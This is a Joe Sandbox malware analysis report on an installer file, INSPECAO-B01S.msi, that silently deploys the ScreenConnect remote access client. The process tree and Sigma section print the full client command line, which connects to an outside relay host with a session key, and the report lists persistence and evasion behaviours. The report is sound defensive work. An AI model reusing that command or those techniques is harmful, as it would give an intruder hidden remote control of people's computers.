Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
INSPECAO-B01S.msi

Overview

General Information

Sample name:INSPECAO-B01S.msi
Analysis ID:1543205
MD5:a41d8aa583e034822c084a74eac45268
SHA1:03e24d97759f550f5b261e552e7321db478c2ff6
SHA256:7a004abae96e562926d9af1cf9e323de387923c24a0a6779d343b64537c4cc1b
Tags:ConnectWisemsiuser-Porcupine
Infos:

Detection

ScreenConnect Tool
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to hide user accounts
Enables network access during safeboot for specific services
Modifies security policies related information
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for available system drives (often done to infect USB drives)
Contains functionality to launch a process as a different user
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found dropped PE file which has not been started or loaded
May sleep (evasive loops) to hinder dynamic analysis
May use bcdedit to modify the Windows boot settings
Modifies existing windows services
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

Process Tree

  • System is w10x64
  • msiexec.exe (PID: 7332 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\INSPECAO-B01S.msi" MD5: E5DA170027542E25EDE42FC54C929077)
  • msiexec.exe (PID: 7368 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)
    • msiexec.exe (PID: 7416 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 3B0D9CA4E13447273575F5AF2A2A458A C MD5: 9D09DC1EDA745A5F87553048E57620CF)
      • rundll32.exe (PID: 7464 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBC6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4983906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments MD5: 889B99C52A60DD49227C5E485A016679)
    • msiexec.exe (PID: 7556 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 9498291156A768CDF30C7CBD1AD63E0B MD5: 9D09DC1EDA745A5F87553048E57620CF)
    • msiexec.exe (PID: 7612 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding A9BFA3C15C3C22AD10EB69C2707C2272 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)
  • ScreenConnect.ClientService.exe (PID: 7644 cmdline: "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-xkznvd-relay.screenconnect.com&p=443&s=e3b17808-f02f-4082-a0ad-0ef89097505d&k=BgIAAACkAABSU0ExAAgAAAEAAQBhw2Nfb6ZuPKlEDIhhDVtAYuyd858SiHfXVlo7oudUHFIakFl%2fPS5vluFfI688c%2ffI5cXvCjgFShXpqsjscRe%2bvZHKSRm%2bteuE97Q6NBZ5oegi61HDzK9%2bJY6drnQvjn5O3W4R13ZtTHxRqVi92KIEihsQur1J2%2fL4Cjo7mR%2bTf3z2FvvhBA9AI44ir3hX7T6YCeKwSXIGWSjwulU6qmSUa0YOa6ak5ubRKh%2fug0gS3wbeTgSuaLTj1hdcHea2xRvqMqyIWF1MOawExDdmH4KtYMuNWGxsLao6ChTQtObulDnOQ2rzUTbk681GAIKtEvzer9DayT7dfK5gHsogR7Cx&c=envioparaiba20%2f10&c=&c=&c=&c=&c=&c=&c=" MD5: 826314610D9E854477B08666330940B5)
    • ScreenConnect.WindowsClient.exe (PID: 7716 cmdline: "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe" "RunRole" "fedb95f0-928e-4923-97ab-510c95cfca5c" "User" MD5: AB5FA8D90645878D587F386D0E276C02)
  • svchost.exe (PID: 7864 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 6544 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Windows\Installer\MSI15E7.tmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
    C:\Config.Msi\4c1433.rbsJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
      C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security

        Memory Dumps

        SourceRuleDescriptionAuthorStrings
        00000007.00000000.1732916566.0000000000042000.00000002.00000001.01000000.00000010.sdmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
          00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
            Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7716JoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              7.2.ScreenConnect.WindowsClient.exe.23ffa10.4.raw.unpackJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                7.0.ScreenConnect.WindowsClient.exe.40000.0.unpackJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security

                  Sigma Signatures

                  System Summary

                  barindex
                  Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-xkznvd-relay.screenconnect.com&p=443&s=e3b17808-f02f-4082-a0ad-0ef89097505d&k=BgIAAACkAABSU0ExAAgAAAEAAQBhw2Nfb6ZuPKlEDIhhDVtAYuyd858SiHfXVlo7oudUHFIakFl%2fPS5vluFfI688c%2ffI5cXvCjgFShXpqsjscRe%2bvZHKSRm%2bteuE97Q6NBZ5oegi61HDzK9%2bJY6drnQvjn5O3W4R13ZtTHxRqVi92KIEihsQur1J2%2fL4Cjo7mR%2bTf3z2FvvhBA9AI44ir3hX7T6YCeKwSXIGWSjwulU6qmSUa0YOa6ak5ubRKh%2fug0gS3wbeTgSuaLTj1hdcHea2xRvqMqyIWF1MOawExDdmH4KtYMuNWGxsLao6ChTQtObulDnOQ2rzUTbk681GAIKtEvzer9DayT7dfK5gHsogR7Cx&c=envioparaiba20%2f10&c=&c=&c=&c=&c=&c=&c=", CommandLine: "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-xkznvd-relay.screenconnect.com&p=443&s=e3b17808-f02f-4082-a0ad-0ef89097505d&k=BgIAAACkAABSU0ExAAgAAAEAAQBhw2Nfb6ZuPKlEDIhhDVtAYuyd858SiHfXVlo7oudUHFIakFl%2fPS5vluFfI688c%2ffI5cXvCjgFShXpqsjscRe%2bvZHKSRm%2bteuE97Q6NBZ5oegi61HDzK9%2bJY6drnQvjn5O3W4R13ZtTHxRqVi92KIEihsQur1J2%2fL4Cjo7mR%2bTf3z2FvvhBA9AI44ir3hX7T6YCeKwSXIGWSjwulU6qmSUa0YOa6ak5ubRKh%2fug0gS3wbeTgSuaLTj1hdcHea2xRvqMqyIWF1MOawExDdmH4KtYMuNWGxsLao6ChTQtObulDnOQ2rzUTbk681GAIKtEvzer9DayT7dfK5gHsogR7Cx&c=envioparaiba20%2f10&c=&c=&c=&c=&c=&c=&c=", CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe, NewProcessName: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe, OriginalFileName: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-xkznvd-relay.screenconnect.com&p=443&s=e3b17808-f02f-4082-a0ad-0ef89097505d&k=BgIAAACkAABSU0ExAAgAAAEAAQBhw2Nfb6ZuPKlEDIhhDVtAYuyd858SiHfXVlo7oudUHFIakFl%2fPS5vluFfI688c%2ffI5cXvCjgFShXpqsjscRe%2bvZHKSRm%2bteuE97Q6NBZ5oegi61HDzK9%2bJY6drnQvjn5O3W4R13ZtTHxRqVi92KIEihsQur1J2%2fL4Cjo7mR%2bTf3z2FvvhBA9AI44ir3hX7T6YCeKwSXIGWSjwulU6qmSUa0YOa6ak5ubRKh%2fug0gS3wbeTgSuaLTj1hdcHea2xRvqMqyIWF1MOawExDdmH4KtYMuNWGxsLao6ChTQtObulDnOQ2rzUTbk681GAIKtEvzer9DayT7dfK5gHsogR7Cx&c=envioparaiba20%2f10&c=&c=&c=&c=&c=&c=&c=", ProcessId: 7644, ProcessName: ScreenConnect.ClientService.exe
                  Sigma detected: CurrentVersion Autorun Keys Modification
                  Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: ScreenConnect Client (3a24aebb8959bcfa) Credential Provider, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\msiexec.exe, ProcessId: 7368, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{6FF59A85-BC37-4CD4-1AF2-EBC3663F6429}\(Default)
                  Sigma detected: Windows Processes Suspicious Parent Directory
                  Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7864, ProcessName: svchost.exe

                  Suricata Signatures

                  ⊘No Suricata rule has matched

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  AI detected suspicious sample
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 93.9% probability
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.1.dr
                  Source: Binary string: \??\C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000550A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdbT source: Microsoft.Deployment.WindowsInstaller.dll.3.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller.Package\Microsoft.Deployment.WindowsInstaller.Package.pdb source: Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdbU! source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2940444279.0000000002100000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940588071.0000000002182000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.dll.1.dr
                  Source: Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: rundll32.exe, 00000003.00000003.1697090286.000000000487E000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2943982681.000000001B052000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll.3.dr
                  Source: Binary string: \??\C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000550A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2940444279.0000000002100000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940588071.0000000002182000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.dll.1.dr
                  Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000006.00000000.1723474974.0000000000EAD000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.ClientService.exe.1.dr
                  Source: Binary string: mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000553C000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2945335092.000000001B292000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Windows.dll.3.dr, ScreenConnect.Windows.dll.1.dr
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdb source: Microsoft.Deployment.WindowsInstaller.dll.3.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb/[ source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2945335092.000000001B292000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Windows.dll.3.dr, ScreenConnect.Windows.dll.1.dr
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.000000000131B000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: INSPECAO-B01S.msi, MSI15E7.tmp.1.dr, MSI1608.tmp.1.dr, MSI17AE.tmp.1.dr, 4c1434.msi.1.dr, 4c1432.msi.1.dr, 4c1433.rbs.1.dr
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.3.dr
                  Source: Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1732916566.0000000000042000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdb source: ScreenConnect.InstallerActions.dll.3.dr
                  Source: Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: INSPECAO-B01S.msi, MSIBC6.tmp.0.dr, 4c1434.msi.1.dr, 4c1432.msi.1.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000553C000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2940504221.0000000002142000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Client.dll.1.dr
                  Source: Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.1.dr
                  Source: C:\Windows\System32\msiexec.exeFile opened: z:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: x:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: v:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: t:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: r:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: p:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: n:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: l:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: j:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: h:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: f:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: b:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: y:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: w:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: u:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: s:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: q:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: o:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: m:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: k:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: i:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: g:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: e:Jump to behavior
                  Source: C:\Windows\System32\svchost.exeFile opened: c:Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile opened: a:Jump to behavior

                  Networking

                  barindex
                  Enables network access during safeboot for specific services
                  Source: C:\Windows\System32\msiexec.exeRegistry value created: NULL ServiceJump to behavior
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: global trafficDNS traffic detected: DNS query: instance-xkznvd-relay.screenconnect.com
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
                  Source: svchost.exe, 00000008.00000002.2942134728.0000017F9328D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
                  Source: ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
                  Source: svchost.exe, 00000008.00000003.1757539471.0000017F93048000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
                  Source: edb.log.8.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
                  Source: edb.log.8.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
                  Source: edb.log.8.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
                  Source: svchost.exe, 00000008.00000003.1757539471.0000017F93048000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
                  Source: svchost.exe, 00000008.00000003.1757539471.0000017F93048000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
                  Source: svchost.exe, 00000008.00000003.1757539471.0000017F9307D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
                  Source: edb.log.8.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://instance-xkznvd-relay.screenconnect.com:443/
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://instance-xkznvd-relay.screenconnect.com:443/8
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://instance-xkznvd-relay.screenconnect.com:443/V
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002397000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002466000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.00000000022C6000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.00000000020CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.000000000237D000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002178000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002234000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://instance-xkznvd-relay.screenconnect.com:443/d
